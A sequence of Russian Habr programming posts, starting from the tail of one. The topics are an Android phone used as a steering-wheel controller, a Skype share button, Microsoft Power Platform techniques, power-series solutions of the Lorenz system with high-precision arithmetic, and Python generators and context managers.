И таким образом, Log2Console стал поддерживать .NET 2.0, а я, как не крути, стал контрибутором-опенсорсником…
Обновленную версию Log2Console с поддержкой Silverlight и .NET Framework 2.0 уже [можно скачать тут](http://log2console.codeplex.com/releases/view/38543). Сайт проекта NLog [здесь](http://nlog-project.org/).
Вот и сказке конец, а кто слушал — молодец! | https://habr.com/ru/post/105889/ | null | ru | null |
# Игровой контроллер для ПК на Android
Всем привет! В данной статье я хочу рассказать о том, как можно сделать из своего Adndroid смартфона игровой контроллер (в простонародье — джойстик) для обычного ПК, а именно **руль**.
#### Описание задачи
Поведение руля будет эмулироваться с помощью акселерометра. Для этого ведется непрерывное сканирование пространственных координат и эмпирическим путем подбираются границы для каждого направления движения. Исходя из этих данных в реальном времени генерируются сочетания игровых клавиш. Например: W — вперед, WA — вперед и влево и т. д.
Для доставки этих данных на ПК должен быть запущен сервер, который принимает входящие команды и эмулирует нажатия соответствующих клавиш. Сервер можно сделать однопоточным, чтобы подключался только один смартфон. Соединение будет осуществляться по Wi-Fi.
А теперь самое интересное…
#### Сервер
Сервер реализован на C++ под Windows. Основная его задача — непрерывно принимать входящие сообщения и нажимать клавиши. Ниже приведен основной и простой код для данной задачи:
> `Copy Source | Copy HTML1. while (true) {
> 2. std::cout << "Wait for connection...\n";
> 3.
> 4. try {
> 5. socket = server.Accept();
> 6. } catch (const char \*error) {
> 7. std::cout << error << std::endl;
> 8. exit( 0);
> 9. }
> 10.
> 11. bool keepAlive = true;
> 12. int timeout = 10000;
> 13.
> 14. setsockopt(server.getSocket(), SOL\_SOCKET, SO\_KEEPALIVE, (char\*)&keepAlive, sizeof(bool));
> 15. setsockopt(server.getSocket(), SOL\_SOCKET, SO\_RCVTIMEO, (char\*)&timeout, sizeof(int));
> 16.
> 17. std::cout << "Connected!\n";
> 18.
> 19. while (true) {
> 20. std::string msg = socket->ReceiveLine();
> 21.
> 22. if (msg.empty())
> 23. break;
> 24.
> 25. processKeys(msg.c\_str());
> 26. }
> 27.
> 28. std::cout << "Disconnected.\n\n\n";
> 29. }`
Нажатие клавиш:
> `Copy Source | Copy HTML1. void pressKeys(char key1, char key2) {
> 2. // отжать предыдущие клавиши
> 3.
> 4. for (std::map::iterator it = scanCodes.begin() ; it != scanCodes.end(); it++ ) {
> 5. char curKey = it->first;
> 6.
> 7. if (curKey != key1 && curKey != key2)
> 8. upKey(curKey);
> 9. }
> 10.
> 11. downKey(key1);
> 12. downKey(key2);
> 13. }
> 14.
> 15. void downKey(char key) {
> 16. keybd\_event(VkKeyScan(key), scanCodes[key], 0, 0);
> 17. }
> 18.
> 19. void upKey(char key) {
> 20. keybd\_event(VkKeyScan(key), scanCodes[key], KEYEVENTF\_KEYUP, 0);
> 21. }`
#### Клиент
Задача клиента — подключится к серверу и посылать комбинации клавиш для нажатия. Для этого используется акселерометр. Наша задача — получить пространственные координаты телефона. Это делается так:
> `Copy Source | Copy HTML1. public class MainActivity extends Activity implements SensorEventListener {
> 2.
> 3. @Override
> 4. public void onCreate(Bundle savedInstanceState) {
> 5. // ...
> 6.
> 7. sensorManager = (SensorManager)getSystemService(SENSOR\_SERVICE);
> 8. accelerometer = sensorManager.getDefaultSensor(Sensor.TYPE\_ACCELEROMETER);
> 9.
> 10. //...
> 11. }
> 12.
> 13. @Override
> 14. public void onSensorChanged(SensorEvent event) {
> 15. if (event.sensor.getType() == Sensor.TYPE\_ACCELEROMETER) {
> 16. long curTime = System.currentTimeMillis();
> 17.
> 18. // считывание данных раз в 100 мс, иначе телефон загнется от сборщика мусора
> 19. if (lastUpdate == -1 || (curTime - lastUpdate) > 100) {
> 20. lastUpdate = curTime;
> 21.
> 22. x = event.values[DATA\_X];
> 23. y = event.values[DATA\_Y];
> 24. z = event.values[DATA\_Z];
> 25.
> 26. xLabel.setText(String.format("X: %+2.5f", x));
> 27. yLabel.setText(String.format("Y: %+2.5f", y));
> 28. zLabel.setText(String.format("Z: %+2.5f", z));
> 29.
> 30. try {
> 31. sendKeys(); // анализ координат для отправки клавиш на сервер
> 32. } catch (Exception e) {
> 33. e.printStackTrace();
> 34. }
> 35.
> 36. }
> 37.
> 38. }
> 39.
> 40. }
> 41. }`
Важный момент — считывать данные с акселерометра надо с определенным интервалом, иначе ваша программа моментально подвесится от непрерывных запросов к сенсору. Также при сворачивании надо отвязывать listener от акселерометра, чтобы ресурсы системы и батареи не тратились зря. Для этого в методах onResume и onPause делается следующее:
> `Copy Source | Copy HTML1. @Override
> 2. protected void onResume() {
> 3. super.onResume();
> 4.
> 5. sensorManager.registerListener(this, accelerometer, SENSOR\_DELAY\_NORMAL);
> 6. }
> 7.
> 8. @Override
> 9. protected void onPause() {
> 10. super.onPause();
> 11. sensorManager.unregisterListener(this);
> 12. }`
Код для генерации клавиш очень прост. Все границы определялись экспериментальным путем.
> `Copy Source | Copy HTML1. private String getKeys() {
> 2. String keys = "";
> 3.
> 4. if (z > 7.5)
> 5. keys += "W";
> 6. else
> 7. keys += "S";
> 8.
> 9. if (y < -3)
> 10. keys += "A";
> 11. else if (y > 3)
> 12. keys += "D";
> 13.
> 14. return keys;
> 15. }`
#### Как это все работает
Испытывал я это все на Need For Speed Most Wanted. По ощущениям, конечно, не как настоящий руль, но играть можно.К сожалению, видео снять не получилось — в доме одна камера, и то на испытуемом телефоне. В ближайшее время обязательно выложу. Вот как это выглядит на ПК и на смартфоне:
#### Заключение
Пока главный недостаток в сервере — это глобальное нажатие клавиш, не зависящее от приложения. В дальнейшем будет чем заняться. Еще одна проблема с которой я столкнулся — постоянный разрыв соединения. Не нашел лучшего решения, чем постоянный реконнект при обрыве связи.
#### Что почитать
Работа с акселерометром:
[github.com/eburke/android\_game\_examples/blob/9d65f96aff5d60a2e765d8db894b7eb3fd02c315/GameExamples/src/com/stuffthathappens/games/Accel.java](https://github.com/eburke/android_game_examples/blob/9d65f96aff5d60a2e765d8db894b7eb3fd02c315/GameExamples/src/com/stuffthathappens/games/Accel.java)
Эмуляция нажатия клавиш:
[www.codeproject.com/kb/system/keyboard.aspx](http://www.codeproject.com/kb/system/keyboard.aspx)
И самое главное — исходники:
[dl.dropbox.com/u/5636452/game\_controller.zip](http://dl.dropbox.com/u/5636452/game_controller.zip) | https://habr.com/ru/post/111511/ | null | ru | null |
# К социальным кнопкам на сайтах теперь можно добавить кнопку Skype
Как известно, в июне этого года [запустилась](http://geektimes.ru/post/252010/) веб-версия Skype, которая доступна по адресу web.skype.com (именно она во время [падения десктопного приложения Skype](http://habrahabr.ru/post/267315/) по всему миру 21 сентября сохраняла работоспособность). В связи с этим сегодня Microsoft предложила веб-мастерам к веренице значков социальных кнопок на сайтах добавить и кнопку Skype. Функциональность новой кнопки заключается в том, что после клика на ней запустится веб-версия Skype, далее потребуется выбрать контакты, с которыми хотелось бы поделиться ссылкой, ввести её описание при желании и, собственно, отправить ссылку.
Генератор сниппета социального кода для Skype можно найти на этой [странице](https://www.skype.com/en/create-share-buttons). Помимо предлагаемых по умолчанию стандартных кнопок (маленьких, побольше, круглых или квадратных), можно при желании добавить к кнопке и кастомный CSS-код. Сам скрипт выглядит следующим образом:
```
// Place this code in the head section of your HTML file
(function(r, d, s) {
r.loadSkypeWebSdkAsync = r.loadSkypeWebSdkAsync || function(p) {
var js, sjs = d.getElementsByTagName(s)[0];
if (d.getElementById(p.id)) { return; }
js = d.createElement(s);
js.id = p.id;
js.src = p.scriptToLoad;
js.onload = p.callback
sjs.parentNode.insertBefore(js, sjs);
};
var p = {
scriptToLoad: 'https://swx.cdn.skype.com/shared/v/latest/skypewebsdk.js',
id: 'skype\_web\_sdk'
};
r.loadSkypeWebSdkAsync(p);
})(window, document, 'script');
Share
```
Отправленная контакту ссылка выглядит аскетично и в самой веб-версии Skype, и в десктопном приложении — судя по всему никакого короткого сниппета веб-страницы, как это, к примеру, делает в личных сообщениях Facebook, не добавляется:
 | https://habr.com/ru/post/386177/ | null | ru | null |
# Приемы и особенности работы с Microsoft Power Platform
Добрый день, друзья! В данной статье хотелось бы поделиться различными приемами работы с Microsoft Power Platform и рассказать, как с помощью базовых возможностей Power Apps, Power Automate и других сервисов линейки Microsoft Power Platform можно делать различные интересные операции. Если вы не знакомы с Microsoft Power Platform, то рекомендую почитать вот [эту](https://habr.com/ru/post/582268/) и [эту](https://habr.com/ru/post/543512/) статьи. Там подробно рассказывается, что это за сервисы, как с ними работать и какие автоматизации и приложения можно делать на базе Power Apps и Power Automate. А сегодня посмотрим различные прикладные приемы. Сразу отмечу, что все примеры ниже являются тестовыми вариантами и поэтому местами может не хватать дизайна, но про дизайн и внешний вид приложений Power Apps поговорим в следующей статье. Итак, поехали.
#### Обновление элемента источника данных с помощью формулы Patch()
Многие знают про возможность взаимодействия с элементами источников данных, посредством форм и функции SubmitForm(), которая позволяет внести изменение в запись одним своим вызовом. Но бывают ситуации, в которых использовать формы нецелесообразно по ряду причин, что приводит к тому, что мы не можем использовать функцию SubmitForm() и в таком случае нам поможет функция Patch(). Рассмотрим простой пример.
Создаем через Power Apps приложение заявку на командировку. У нас есть отдельный экран и несколько контролов ввода данных и нам необходимо создать элемент в источнике данных с помощью функции Patch().
Берем кнопку «Сохранить» и в свойстве «OnSelect» пишем:
Функция Patch имеет следующий синтаксис Patch(<имя подключенного в приложении источника данных>,<Тип операции>,{<Перечень полей и сопоставленных им значений>})
Если необходимо создать новый элемент в источнике, то в качестве типа операции используется Defaults(<Имя источника данных>). Если же необходимо обновить существующую запись, то используется конструкция {<Искомое поле>:<Искомое значение>}. То есть для обновления элемента формула будет выглядеть уже вот так:
Где Gallery1.Selected.ИД это идентификатор выбранной записи в таблице всех заявок. Удобство использования функции Patch заключается в том, что вы можете управлять логикой, по которой определяете какое значение в каком формате и виде вы записываете в конкретное поле источника данных. Например, вы можете перед сохранением даты привести ее к нужному формату, высчитать дни с учетом выходных и праздников и так далее.
#### Обработка элементов в цикле
Довольно часто возникают ситуации, когда нужно организовать в Power Apps приложении цикл по обработке массива или табличных данных. Можно ли подобную операцию провернуть прямо в приложении? Да, для этого в Power Apps есть функция ForAll(). Рассмотрим еще один небольшой пример. Имеется форма заведения новой заявки на канцтовары. Также на этой форме можно в таблице заполнить перечень и количество запрашиваемых канцтоваров.
Но, как Вы понимаете, мы с вами находимся на экране создания заявки и поэтому все введенные в таблицу канцтовары еще никуда не сохранены, так как не сохранена основная заявка. Более того, мы можем сейчас добиться сразу двух целей и помимо обработки строк в цикле еще и сохранить данные строки в источнике с привязкой к родительской заявке.
В первую очередь, на кнопку «Добавить» располагаем функцию Collect().
Функция Collect позволяет сохранить данные во внутреннюю Power Apps переменную типа коллекция. Имя коллекции придумываем сами. Атрибуты коллекции мы также придумываем сами. Я придумал атрибут Title и атрибут Count. Заполняем их по кнопке «Добавить» из соответствующих полей на экране.
Теперь, по событию сохранения основной заявки, нам нужно в цикле переложить строки из внутренней коллекции в источник данных. Выглядеть это будет следующим образом.
Сначала создаем основной элемент заявки на канцтовары и тут же сохраняем его помимо источника данных в переменную varCreatedItem. Далее, с помощью цикла ForAll, пробегаемся по каждой строке в коллекции канцтоваров, создаем соответствующую запись в источнике данных и для связи с основной заявкой используем поле ParentItemID и значение переменной varCreatedItem, свойство ID. В итоге получаем вот такой список канцтоваров, связанных с основной заявкой.
Дело сделано, цикл работает.
#### Запуск Power Automate потока из Power BI отчета
Достаточно интересный способ взаимодействия с данными из Power BI отчета. В ряде случаев может понадобиться запустить поток, напрямую из отчета для того, чтобы произвести рассылку уведомлений или сохранение данных в другом источнике. Для этого можно воспользоваться встроенной возможностью в Power BI по вызову Power Automate потоков.
Добавляем на холст отчета визуализацию Power Automate и переносим в раздел Power Automate Data поля, которые будем использовать внутри Power Automate потока.
Далее, нажимаем Edit у объекта визуализации Power Automate и переходим к созданию нового потока. Поток будет содержать цикл, так данные в поток пробрасываются в виде массива. Триггером является кнопка, нажатая на холсте Power BI отчета.
Теперь, нажимаем Save and Apply и в отчете появляется кнопка запуска потока, который пробросит на вход потока данные из набора и запустит поток. Запускается поток левой кнопкой мыши с зажатым CTRL. Настройку данного примера можно производить как в Power BI Service, так и в Power BI Desktop, что избавляет от необходимости использовать Power BI Pro лицензии.
#### Добавление Power Apps приложения в Power BI отчет
Аналогично предыдущему варианту с запуском потока, можно точно также добавить приложение Power Apps на холст вашего отчета. Одно уточнение – настройку данного примера лучше производить в Power BI Service, а не в Power BI Desktop, то есть потребуется Power BI Pro лицензия.
По той же схеме, добавляем в отчет визуализацию Power Apps и определяем поля из набора, которые будут использоваться в приложении. Далее нажимаем «Создать новое приложение».
Создаем простое Power Apps приложение и в качестве источника данных используем PowerBIIntegration.Data.
Теперь можем добавить экран заведения новой заявки на командировку и с помощью уже знакомой нам функции Patch сохранять результат в источник данных, который будет синхронизироваться с Power BI набором данных, используемым в отчете.
#### Вызов PowerApps приложения холста по кнопкам из списка SharePoint Online
Мы отлично знаем про возможность настраивать внешний вид формы создания, просмотра и редактирования элемента в SharePoint Online, с помощью Power Apps. Но у данных форм есть множество особенностей и недостатков. Так что, почему бы не открывать по тем же самым событиям полноценные приложения холста, вместо урезанных форм. Как это можно сделать.
Сначала создаем Power Apps приложение и делаем в нем три основных экрана – Создание, просмотр и редактирование элемента. Самое главное чтобы у нас появилась ссылка на приложение, которую можно взять из его свойств.
Далее нам потребуется создать 3 ASPX страницы под каждое событие (Создание, просмотр, редактирование) соответственно. Проще всего это делать в SharePoint Designer, который несмотря на свой почтенный возраст, отлично работает с SharePoint Online.
Страница для создания элемента будет выглядеть следующим образом.
```
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
var play = "https://apps.powerapps.com/play/f8b58706-b202-4281-b845-1d082a35e903?tenantId=80ff03f9-8ca0-49b3-a1a3-5c2883b8db69";
var id = getQueryVariable("ID");
var searchstring = encodeURIComponent(document.referrer);
window.location.replace(play+"&ParamFormMode=New" + "&ParamSourceUrl="+searchstring);
```
Основное, что мы делаем на данных страницах – редирект из SharePoint Online в приложение холста Power Apps. Дополнительно, пробрасываем идентификатор элемента (для форм просмотра и редактирования) и обратную ссылку, если мы хотим вернуться назад из приложения в SharePoint Online.
Страницы готовы, но надо их привязать к событиям из списка SharePoint Online. Для этого используем Powershell скрипт.
```
Add-Type -Path "C:\Program Files\SharePoint Online Management Shell\Microsoft.Online.SharePoint.PowerShell\Microsoft.SharePoint.Client.dll"
Add-Type -Path "C:\Program Files\SharePoint Online Management Shell\Microsoft.Online.SharePoint.PowerShell\Microsoft.SharePoint.Client.Runtime.dll"
Add-Type -Path "C:\Program Files\SharePoint Online Management Shell\Microsoft.Online.SharePoint.PowerShell\Microsoft.Online.SharePoint.Client.Tenant.dll"
$SiteURL="https://doctrix.sharepoint.com/sites/portal-demo-site"
$ContentTypeID="0x0100FD35A1E4246A5F409061499070D239F100F3367436883B81479BCB4DD6DE13CC29"
$ListName="Education Requests"
#Get Credentials to connect
$Cred= Get-Credential
#Setup the context
$Ctx = New-Object Microsoft.SharePoint.Client.ClientContext($SiteURL)
$Ctx.Credentials = New-Object Microsoft.SharePoint.Client.SharePointOnlineCredentials($Cred.Username, $Cred.Password)
$Web = $Ctx.Web
$lists = $Ctx.web.Lists
$list = $lists.GetByTitle($ListName)
$ContentType = $list.ContentTypes.GetById($ContentTypeID)
$ContentType.NewFormUrl = "SitePages/AssetNewFormEdication.aspx"
$ContentType.DisplayFormUrl = "SitePages/AssetDispFormEdication.aspx"
$ContentType.EditFormUrl = "SitePages/AssetEditFormEdication.aspx"
$ContentType.Update($false)
$Ctx.ExecuteQuery()
```
Данный скрипт привяжет к типу контента списка наши страницы, причем сделает это в разрезе трех типов форм. Привязка готова. Осталось обработать входные параметры внутри самого Power Apps приложения. Для этого нам потребуется свойства StartScreen и OnStart для объекта App.
Тут мы определяем, в зависимости от входного параметра, на какой экран отправимся после открытия приложения.
А тут определяем обратный SourceURL для возврата в SharePoint Online и контекстный элемент из списка SharePoint для форм просмотра и редактирования.
Не забываем еще сделать кнопку возврата обратно в список SharePoint Online, после того как закончили работу с экраном.
Теперь, при нажатии на кнопку «Создать» в списке SharePoint Online у нас вызывается не форма SharePoint, а полноценное приложение холста, также пробрасываются на вход параметры, по которым определяется какой экран нужно открыть. Для кнопок «Просмотреть» и «Изменить» дополнительно еще определяется ID элемента, на который нажали и происходит получение этого элемента из списка. По нажатию на кнопку «Отмена» мы возвращаемся обратно в SharePoint, так как у нас есть параметр, хранящий в себе обратный адрес на тот список, из которого мы пришли в приложение.
В данной статье мы с вами рассмотрели несколько приемов, которые можно взять на вооружение при работе с Microsoft Power Platform. Дальше будет еще больше интересных возможностей и приемов, поэтому оставайтесь на связи. Всем хорошего дня! | https://habr.com/ru/post/598079/ | null | ru | null |
# Динамическая система Лоренца и вычислительный эксперимент
*Данный пост является продолжением моей статьи [1] на Хабрахабре об аттракторе Лоренца. Здесь рассмотрим метод построения приближенных решений соответствующей системы, уделив внимание программной реализации.*
Динамической системой Лоренца является автономная система обыкновенных дифференциальных уравнений третьего порядка
где , ***r*** и ***b*** являются положительными числами. Для исследования поведения решений системы обычно берут классические значения параметров системы, т.е.
Как было отмечено в статье [1], в этом случае в системе (1) имеет место неустойчивость ее решений на аттракторе. По сути, это делает некорректным применение классических численных методов на больших отрезках времени (а на таких отрезках и строятся предельные множества динамических систем). Одним из вариантов преодоления этой проблемы является переход к высокоточным вычислениям, но такой подход ставит исследователя в жесткие рамки: во-первых, малая степень свободы для уменьшения ошибки (изменение величины шага  интегрирования и точности представления вещественного числа для управления вычислительным процессом), во-вторых, большой объем вычислений при очень малых .
Другим вариантом решения данной проблемы может быть применение метода степенных рядов. В работе [2] описана модификация этого метода для динамических систем вида (1), позволяющая достаточно быстро определять коэффициенты разложений
как
где коэффициенты ,  и  определяются начальными условиями; также получена длина (шаг)  отрезка сходимости рядов (2):
если , то , иначе ,
 — любое положительное число.
Заметим, что приведенная в статье [2] схема получения длины отрезка сходимости степенных рядов может по аналогии перенесена на другие динамические системы третьего порядка с нелинейностями вида (1) (например, система, описывающая поведение саморазвивающейся рыночной экономики [3, с. 261]).
Несмотря на то, что все траектории системы (1) ограничены и ее правая часть всюду аналитична, первоначальный вычислительный эксперимент показал, что радиус сходимости рядов (2) ограничен и зависит от выбора начальных условий. Поэтому описанным способом мы можем получить только часть траектории. Процедура построения дуги траектории на любом отрезке времени заключается в сшивке частей траектории, составляющих искомое решение, на которых сходятся ряды (2). Ошибкой интегрирования, накапливаемой при переходе от дуги к дуге траектории из-за погрешности нахождения текущего приближенного решения, можно управлять за счет варьирования точности  разложения в степенной ряд. Использование при этом высокоточных вычислений позволяет продолжить решения на очень большие промежутки времени, поскольку  невозможно сделать сколь угодно малой из-за ограничения на машинный эпсилон.
По формулам (3) вычисляем ,  и  до такого значения ***i***, при котором имеет место оценка
Понятно, что значительного накопления ошибки интегрирования на длинных временных отрезках нам и здесь не избежать, поэтому будем реализовывать высокоточные вычисления с плавающей точкой на базе библиотеки [GNU MPFR Library](http://www.mpfr.org/), а точнее, C++-интерфейса библиотеки MPFR для работы с вещественными числами произвольной точности — [MPFR C++](http://www.holoborodko.com/pavel/mpfr/). Она удобна тем, что в ней имеется класс mpreal с перегруженными арифметическими операциями и дружественными математическими функциями. Для установки библиотеки в Ubuntu Linux выполним
```
sudo apt-get install libmpfrc++-dev
```
Кроме пакета libmpfr-dev менеджеров пакетов потянет еще и libgmp-dev. Это devel-пакет библиотеки [GNU Multiple Precision Arithmetic Library](https://gmplib.org/) или GMP (MPFR является ее расширением).
Рассмотрим пример кода на C++ вычисления значений фазовых координат в конечный момент времени, а также проверки найденных значений.
```
#include
#include
using namespace std;
#include
using namespace mpfr;
// Точность по степенному ряду
#define eps\_c "1e-50"
// Параметры системы уравнений Лоренца
#define sigma 10
#define r 28
#define b 8/(mpreal)3
// Количество бит под мантиссу вещественного числа
#define prec 180
// Как считать шаг: 1 - по оценке отрезка сходимости, 0 - заданная величина
#define FL\_CALC 1
// Фиксированный шаг по времени
#define step\_t "0.02"
// Функция возвращает длину отрезка сходимости степенного ряда
mpreal get\_delta\_t(mpreal &alpha0, mpreal &beta0, mpreal &gamma0)
{
mpreal h2 = (mpfr::max)((mpfr::max)(fabs(alpha0), fabs(beta0)), fabs(gamma0)),
h1 = (mpfr::max)((mpfr::max)(2\*sigma, r+2\*h2+1), b+2\*h2+1);
mpreal h3 = h2 >= 1 ? h1 \* h2 : (mpfr::max)((mpfr::max)(2\*sigma, r+2), b+1);
return 1/(h3 + "1e-10");
}
// Функция вычисления значений фазовых координат в конечный момент времени
// x, y и z - координаты начальной точки; T - длина отрезка интегрирования;
// way - направление поиска решений: 1 - вперед по времени, -1 - назад по времени
void calc(mpreal &x, mpreal &y, mpreal &z, mpreal T, int way = 1)
{
cout << "\nВ начальный момент времени:\n\ndx/dt = " << sigma\*(y-x) << "\ndy/dt = " <<
r\*x-y-x\*z << "\ndz/dt = " << x\*y-b\*z << endl;
mpreal t = 0, delta\_t, L, p, s1, s2;
bool fl\_rp;
do
{
if(FL\_CALC)
delta\_t = get\_delta\_t(x, y, z);
else
delta\_t = step\_t;
t += delta\_t;
if(t < T)
fl\_rp = true;
else if(t > T)
{
delta\_t -= t-T;
fl\_rp = false;
}
else
fl\_rp = false;
vector alpha, beta, gamma;
alpha.push\_back(x);
beta.push\_back(y);
gamma.push\_back(z);
int i = 0;
L = sqrt(alpha[0]\*alpha[0] + beta[0]\*beta[0] + gamma[0]\*gamma[0]);
p = way \* delta\_t;
while(L > eps\_c)
{
// Вычисляем новые коэффициенты степенных рядов
s1 = s2 = 0;
for(int j = 0; j <= i; j++)
{
s1 += alpha[j] \* gamma[i-j];
s2 += alpha[j] \* beta[i-j];
}
alpha.push\_back(sigma\*(beta[i] - alpha[i])/(i+1));
beta.push\_back((r\*alpha[i] - beta[i] - s1)/(i+1));
gamma.push\_back((s2 - b\*gamma[i])/(i+1));
i++;
x += alpha[i] \* p;
y += beta[i] \* p;
z += gamma[i] \* p;
L = fabs(p) \* sqrt(alpha[i]\*alpha[i] + beta[i]\*beta[i] + gamma[i]\*gamma[i]);
p \*= way \* delta\_t;
}
}
while(fl\_rp);
cout << "\nКоординаты в конечный момент времени:\nx = " << x.toString() << "\ny = " <<
y.toString() << "\nz = " << z.toString() << endl;
cout << "\nЗначения производных:\n\ndx/dt = " << sigma\*(y-x) << "\ndy/dt = " <<
r\*x-y-x\*z << "\ndz/dt = " << x\*y-b\*z << endl;
}
int main()
{
mpreal::set\_default\_prec(prec);
cout << "Машинный эпсилон = " << machine\_epsilon() << endl;
mpreal T;
cout << "\nВведите длину отрезка времени > ";
cin >> T;
mpreal x, y, z;
cout << "\nx0 > ";
cin >> x;
cout << "y0 > ";
cin >> y;
cout << "z0 > ";
cin >> z;
cout << endl;
calc(x, y, z, T);
cout << "\n\n\*\*\* Проход назад \*\*\*\n";
calc(x, y, z, T, -1);
return 0;
}
```
Для компиляции файла lorenz.cpp с этим кодом выполним следующее
```
g++ lorenz.cpp -std=gnu++11 -lmpfr -lgmp -o lorenz
```
Как видно из листинга программы, для хранения значений коэффициентов степенных рядов используются векторы из библиотеки STL. Было принято, что количество бит под мантиссу вещественного числа равно 180. Диапазон изменения экспоненты — по умолчанию от  до  (на 32-битных платформах). Функция machine\_epsilon() определения машинного эпсилон  была использована для того, чтобы узнать его значение для заданного представления вещественного числа. В данном случае
Приведем результаты вычислительного эксперимента. В качестве начальных условий возьмем значения, близкие к аттрактору Лоренца:
Отрезок времени, на котором производилось вычисления, — . Первоначально точность оценки общего члена ряда бралась равной . Этого достаточно, чтобы получить результат
;
производные:
(уменьшая значение , значения координат не изменятся). При этом можно брать вещественные числа с меньшим объемом памяти.
Значения производных, как и значения координат, приведены для того, чтобы проиллюстрировать факт возвращения траектории в окрестность начальной точки, но незамыкания, как это следовало бы ожидать из гипотезы существования циклов в системе (1). После такого сближения точка траектории уходит от своего начального положения, но потом опять возвращается в ее окрестность. Такое поведение предсказывает качественная теория дифференциальных уравнений (устойчивость по Пуассону точек рекуррентных траекторий на аттракторе; это было указано в [1] и обсуждено на конференции [4]).
Указанная разрядность для вещественного числа была выбрана с целью отследить не только возврат траектории системы Лоренца в окрестность начальных условий [1, рис. 1], но и для прохода назад по времени от конечной точки к начальной по дуге траектории (равенство параметра way функции calc() -1). Тогда в расчетах нужно брать . В результате получаются значения, совпадающие с начальными до седьмого знака после запятой (метод toString() класса mpreal, вызванный без параметров, говорит о преобразовании числа в строку с максимальным количеством знаков после запятой):
x = 13.412656286837273085165416945301946328440634370684244
y = 13.4643000297481126631507883918720904312092673686014399
z = 33.4615641630148784946354299167181879731357599130041067
Такое малое значение  выбрано потому, что при движении по траектории в отрицательные значения времени наблюдается сильная неустойчивость решений — они сразу уходят в бесконечность от аттрактора, поскольку мы при расчетах находимся вблизи от него, а не непосредственно на нем.
В программе также предусмотрено фиксированное значение шага. Проверено, число 0.02 может быть использовано для построений приближенных решений вблизи аттрактора Лоренца. Это значение гораздо больше того, которое получается из приведенной оценки из работы [2] (флаг FL\_CALC равен 1) для любых начальных условий, но при удалении начальной точки на значительное расстояние от аттрактора метод перестает работать (ряды не сходятся).
В работе [5, с. 90, 91] для исследования траекторий системы (1) применяется метод Эйлера с переменным шагом  интегрирования. Величина  выбирается с отслеживанием ошибки на текущем шаге (т.е. локальный контроль), используя интервальную арифметику. Однако нет проверки общей ошибки интегрирования. Проход назад по времени, описанный выше, нам гарантирует правильность построения приближенного решения. Варьируя точностью оценки общего члена ряда, можно уменьшить ошибку на шаге, что не позволяет метод Эйлера. Также в рассмотренной модификации метода степенных рядов преимуществом перед общей схемой метода рядов Тейлора является быстрый расчет по формулам (3) коэффициентов разложения по сравнению с процедурой символьного дифференцирования правых частей уравнений системы (кроме того, в нелинейном случае под символьные выражения требуется много памяти для их хранения при вычислении производных высших порядков).
Таким образом, зная состояние системы Лоренца в прошлом, мы с достаточной степенью точности можем предсказать поведение ее траекторий в течение длительных интервалов времени, а также вернуться назад. По сути здесь нарушается формальное определение хаоса [6, с. 118, 119].
### Литература
**1**. Пчелинцев А.Н. Критический взгляд на аттрактор Лоренца, 2013. [Хабрахабр](http://habrahabr.ru/post/203926/).
**2**. Pchelintsev A.N. Numerical and physical modeling of the dynamics of the Lorenz system // Numerical Analysis and Applications, 7(2): 159-167, 2014. DOI: [10.1134/S1995423914020098](http://dx.doi.org/10.1134%2FS1995423914020098).
**3**. Магницкий Н.А., Сидоров С.В. Новые методы хаотической динамики. — М.: Едиториал УРСС, 2004.
**4**. Пчелинцев А.Н. О моделировании динамики системы Лоренца // Международная конференция «Колмогоровские чтения VI. Общие проблемы управления и их приложения (ОПУ-2013)», Тамбовский государственный университет им. Г.Р. Державина (Тамбов, 2013 год). [Math-Net.Ru](http://www.mathnet.ru/php/presentation.phtml?option_lang=rus&presentid=7739).
**5**. Tucker W. [A Rigorous ODE Solver and Smale's 14th Problem](http://www.math.cornell.edu/~warwick/main/rodes/JFoCM.pdf) // Foundations of Computational Mathematics, 2(1): 53-117, 2002.
**6**. Берже П., Помо И., Видаль К. Порядок в хаосе. О детерминистком подходе к турбулентности. — М.: Мир, 1991. | https://habr.com/ru/post/229959/ | null | ru | null |
# Некоторые возможности Python о которых вы возможно не знали
#### Предисловие
Я очень полюбил Python после того, как прочитал книгу Марка Лутца «Изучаем Python». Язык очень красив, на нем приятно писать и выражать собственные идеи. Большое количество интерпретаторов и компиляторов, расширений, модулей и фреймворков говорит о том, что сообщество очень активно и язык развивается. В процессе изучения языка у меня появилось много вопросов, которые я тщательно гуглил и старался понять каждую непонятую мной конструкцию. Об этом мы и поговорим с вами в этой статье, статья ориентирована на начинающего Python разработчика.
#### Немного о терминах
Начну пожалуй с терминов, которые часто путают начинающих Python программистов.
*List comprehensions* или генераторы списков возвращают список. Я всегда путал генераторы списков и выражения — генераторы (но не генераторы выражений!). Согласитесь, по русский звучит очень похоже. Выражения — генераторы это *generator expressions*, специальные выражения, которые возвращают итератор, а не список. Давайте сравним:
```
f = (x for x in xrange(100)) # выражение - генератор
c = [x for x in xrange(100)] # генератор списков
```
Это две совершенно разные конструкции. Первый возвращает генератор (то есть итератор), второй обычный список.
*Generators* или генераторы это специальные функции, которые возвращают итератор. Что бы получить генератор нужно возвратить функции значение через yield:
```
def prime(lst):
for i in lst:
if i % 2 == 0:
yield i
>>> f = prime([1,2,3,4,5,6,7])
>>> list(f)
[2, 4, 6]
>>> next(f)
Traceback (most recent call last):
File "", line 1, in
StopIteration
>>>
```
Кстати, в Python 3.3 появилась новая конструкция yield from. Совместное использование yield и for используется настолько часто, что эти две конструкции решили объединить.
```
def generator_range(first, last):
for i in xrange(first, last):
yield i
def generator_range(first, last):
yield from range(first, last)
```
#### Что такое контекстные менеджеры и для чего они нужны?
Контекстные менеджеры это специальные конструкции, которые представляют из себя блоки кода, заключенные в инструкцию with. Инструкция with создает блок используя протокол контекстного менеджера, о котором мы поговорим далее в этой статье. Простейшей функцией, использующей данный протокол является функция open(). Каждый раз, как мы открываем файл нам необходимо его закрыть, что бы вытолкнуть выходные данные на диск (на самом деле Python вызывает метод close() автоматически, но явное его использование является хорошим тоном). Например:
```
fp = open("./file.txt", "w")
fp.write("Hello, World")
fp.close()
```
Что бы каждый раз не вызывать метод close() мы можем воспользоваться контекстным менеджером функции open(), который автоматически закроет файл после выхода из блока:
```
with open("./file.txt", "w") as fp:
fp.write("Hello, World")
```
